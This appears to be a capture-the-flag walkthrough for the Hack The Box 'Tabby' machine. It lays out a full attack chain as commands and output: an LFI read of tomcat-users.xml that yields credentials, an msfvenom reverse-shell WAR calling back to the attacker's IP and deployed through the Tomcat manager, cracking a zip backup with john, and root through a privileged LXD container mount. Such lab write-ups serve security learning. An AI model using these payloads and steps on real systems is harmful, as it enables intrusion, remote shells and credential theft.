Exploiting Tomcat, extraction a password from a zipped backup, and privilege escalation based on LXD/LXC on Linux. That is what Tabby was all about. An Easy Linux box with good learning curve.
[0x1] Reconnaissance & Enumeration
First action of the day is a Nmap scan to see which ports are open, and if there is some nice intell in there.
nmap -sC -sV -p- -oA tabby-allports 10.10.10.194 Nmap scan report for tabby (10.10.10.194) Host is up (0.020s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Sep 23 13:46:32 2020 -- 1 IP address (1 host up) scanned in 35.73 seconds
Since there are only two interesting ports available at this time, I visit both websites to see what we can learn from that. The first website gives a nice hint about another website behind the “read our statement” link, that apparently runs on this machine. Let’s add it to the /etc/hosts file.
The other website runs on port 8080 and is the home of a Tomcat installation. On entering it shows links to the management pages but they are blocked by a login.
In addition to this I ran gobuster to poke around on the websites, but no interesting files where found.
[0x2] Initial Foothold
If you looks at the default website there is a nice structure in the url. There is a paaramter called “file=” which hint to the use of local files. If this is the case the website might be vulnerable to a Local File Inclusion (LFI) attack.
To try and see how far I can include file, I try to read the /etc/passwd file. Not sure which directory I am in, so trial and error and add an extra path depth is it is not working.
So i search the internet if there is any information leakage in Tomcat which can be exploited using a LFI. It appears thats the Tomcat config file can be found in a file called: /usr/share/tomcat9/etc/tomcat-users.xml. Since I know that I need to go 4 directories back for the root of the volume, it is easilly done for this file also. But, to see the contents you need to view the source (so i figured out after a while).
view-source:http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml <?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, [... clip ...] <!-- <role rolename="tomcat"/> <role rolename="role1"/> <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> <user username="both" password="<must-be-changed>" roles="tomcat,role1"/> <user username="role1" password="<must-be-changed>" roles="role1"/> --> <role rolename="admin-gui"/> <role rolename="manager-script"/> <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/> </tomcat-users>
First set of credentials is a fact. Username ‘tomcat’ and password ‘$ecureP4s5w0rd123!’. This set gives me access tot he Tomcat Virtual Host Manager.
I knew that Tomcat has a thing for malicious WAR-files which work very nicely with a reverse tcp connection in it. I checked to see if this is still an option. I found a blog describing that it was in fact the case and it gave me a good direction for this box.
First thing first, lets build the malicious payload to upload using msfvenom.
msfvenom -p java/shell_reverse_tcp lhost=10.10.14.64 lport=1337 -f war -o pwn.war
With the payload ready I use curl to upload it to the Tomcat Manager with the credentials I found in the file.
curl -v -u 'tomcat':'$3cureP4s5w0rd123!' -T pwn.war "http://10.10.10.194:8080/manager/text/deploy?path=/tabby&update=true" * Trying 10.10.10.194:8080... * Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0) * Server auth using Basic with user 'tomcat' > PUT /manager/text/deploy?path=/tabby&update=true HTTP/1.1 > Host: 10.10.10.194:8080 > Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ== > User-Agent: curl/7.72.0 > Accept: */* > Content-Length: 13397 > Expect: 100-continue > * Mark bundle as not supporting multiuse < HTTP/1.1 100 * We are completely uploaded and fine * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Cache-Control: private < Expires: Thu, 01 Jan 1970 00:00:00 GMT < X-Content-Type-Options: nosniff < Content-Type: text/plain;charset=utf-8 < Transfer-Encoding: chunked < Date: Sun, 20 Sep 2020 14:29:49 GMT < OK - Deployed application at context path [/tabby] * Connection #0 to host 10.10.10.194 left intact
Before activation the payload I make myself a nice Netcat listener on port 1337.
rlwrap netcat -lvnp 1337
Now it is only a matter of activating the uploaded payload on the machine use curl or a webbrowser.
When hitting the url the payload gets activated immediatly and the listener gets in inbouwd connection. I got myself a nice shell as ‘tomcat’.
listening on [any] 1337 ... connect to [10.10.14.64] from (UNKNOWN) [10.10.10.194] 36336 whoami tomcat hostname tabby id uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
[0x3] Path to User flag
Since the shell I got is not very interactive, I used Python to launch a decent bash shell. That makes enumerating the box much easier.
python3 -c 'import pty; pty.spawn ("/bin/bash")' tomcat@tabby:/var$
After some digging around I found a backup archive which are always interesting. I want to see what is inside so I copy the file to my local machine using base64.
tomcat@tabby:/var/www/html/files$ ls ls 16162020_backup.zip archive revoked_certs statement base64 16162020_backup.zip
I copy the ouput of the encoded file and past it in a new file on my local machine called 16162020_backup.b64 and decode it back to the original file.
base64 -d 16162020_backup.b64 >backup.zip
The archive is password protected. John has a great tool to extract the hash from a password protected archive and save it for cracking.
zip2john backup.zip >backup.zip.hashes backup.zip/var/www/html/assets/ is not encrypted! ver 1.0 backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/favicon.ico PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmplen=766, crc=282B6DE2 ver 1.0 backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6 ver 1.0 efh 5455 efh 7875 backup.zip/var/www/html/logo.png PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=2894, crc=2F9F45F ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/news.php PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=123, crc=5C67F19E ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/Readme.txt PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time.
With the hases extracted it is time for John to do it’s magic. I use the Rockyouy wordlist for cracking the hash and after 1 second the password was found: admin@it
john backup.zip.hashes -wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status admin@it (backup.zip) 1g 0:00:00:01 DONE (2020-09-20 10:53) 0.6172g/s 6394Kp/s 6394Kc/s 6394KC/s adnc153..adilizinha Use the "--show" option to display all of the cracked passwords reliably Session completed
The content of the zipfile is nothing interesting, but when I tried the password for the user I noticed in the /home/ folder it shows a succesful login.
tomcat@tabby:/var/www/html/files$ su ash su ash Password: admin@it ash@tabby:/var/www/html/files$ whoami whoami ash
So let’s grab that User flag and finish the first part of this quest.
cat /home/ash/user.txt 99ced6d88f3862ee3d041617a638bbdc
[0x4] Path to Root flag
The first thing I did when I was logged in as Ash is checking to see which groups he belongs to. The first group that looks interesting is 116 (lxd). This one is not present in a default installation. Time to see what I can find regaring this.
User & Groups: uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
I found an interesting article which describes a way for a low privileged user to gain root access by exploiting a vulnerability in LXD. It allows for mounting the hosts root filesystem in a container. It requires some preparation on my local machine before I can exploit the vulnerability.
First I download the LXD-Alpine builder to make the image which will be transfer to the Tabby-machine.
git clone https://github.com/saghul/lxd-alpine-builder.git
After clone the repositry I build the image. I needed to which to ‘su’ for this.
cd lxd-alpine-builder bash build-alpine Determining the latest release... v3.12 Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64 Downloading alpine-mirrors-3.5.10-r0.apk tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1' Downloading alpine-keys-2.2-r0.apk Downloading apk-tools-static-2.10.5-r1.apk email@example.com: OK Verified OK Selecting mirror http://dl-2.alpinelinux.org/alpine/v3.12/main fetch http://dl-2.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz (1/19) Installing musl (1.1.24-r9) (2/19) Installing busybox (1.31.1-r19) Executing busybox-1.31.1-r19.post-install (3/19) Installing alpine-baselayout (3.2.0-r7) Executing alpine-baselayout-3.2.0-r7.pre-install Executing alpine-baselayout-3.2.0-r7.post-install (4/19) Installing openrc (0.42.1-r11) Executing openrc-0.42.1-r11.post-install (5/19) Installing alpine-conf (3.9.0-r1) (6/19) Installing libcrypto1.1 (1.1.1g-r0) (7/19) Installing libssl1.1 (1.1.1g-r0) (8/19) Installing ca-certificates-bundle (20191127-r4) (9/19) Installing libtls-standalone (2.9.1-r1) (10/19) Installing ssl_client (1.31.1-r19) (11/19) Installing zlib (1.2.11-r3) (12/19) Installing apk-tools (2.10.5-r1) (13/19) Installing busybox-suid (1.31.1-r19) (14/19) Installing busybox-initscripts (3.2-r2) Executing busybox-initscripts-3.2-r2.post-install (15/19) Installing scanelf (1.2.6-r0) (16/19) Installing musl-utils (1.1.24-r9) (17/19) Installing libc-utils (0.7.2-r3) (18/19) Installing alpine-keys (2.2-r0) (19/19) Installing alpine-base (3.12.0-r0) Executing busybox-1.31.1-r19.trigger OK: 8 MiB in 19 packages
now that the image is ready and packaged, I hoped back to Tabby and downloaded the file from my local machine by serving it over a webserver.
wget http://10.10.14.64:8080/alpine-v3.12-x86_64-20200920_1136.tar.gz <14.64:8080/alpine-v3.12-x86_64-20200920_1136.tar.gz --2020-09-20 16:07:31-- http://10.10.14.64:8080/alpine-v3.12-x86_64-20200920_1136.tar.gz Connecting to 10.10.14.64:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 3181952 (3.0M) [application/gzip] Saving to: ‘alpine-v3.12-x86_64-20200920_1136.tar.gz’ alpine-v3.12-x86_64 100%[===================>] 3.03M 3.13MB/s in 1.0s 2020-09-20 16:07:32 (3.13 MB/s) - ‘alpine-v3.12-x86_64-20200920_1136.tar.gz’ saved [3181952/3181952]
The next step is to import the image and give it a name. In my case it’s “myimage”.
lxc image import ./alpine-v3.12-x86_64-20200920_1136.tar.gz --alias myimage <e-v3.12-x86_64-20200920_1136.tar.gz --alias myimage
Having the image imported I intialise a new container named: d0p4m1n3.
lxc init myimage d0p4m1n3 -c security.privileged=true
And here comes the neat trick, mounting the local filesystem as a disk.
lxc config device add d0p4m1n3 mydevice disk source=/ path=/mnt/root recursive=true
The last step in the proces is to start my container, and execute a shell.
lxc start d0p4m1n3 lxc exec d0p4m1n3 /bin/sh Creating d0p4m1n3 <ydevice disk source=/ path=/mnt/root recursive=true Device mydevice added to d0p4m1n3
It instantly spawned a new prompt and looking at the output of id it is a root shell. The exploit works like a charm.
~ # id id uid=0(root) gid=0(root)
The last stept is to grab the root flag and call it a day.
/mnt/root/root # cat root.txt cat root.txt f272fea9f166a9bca0f4a919792dab6b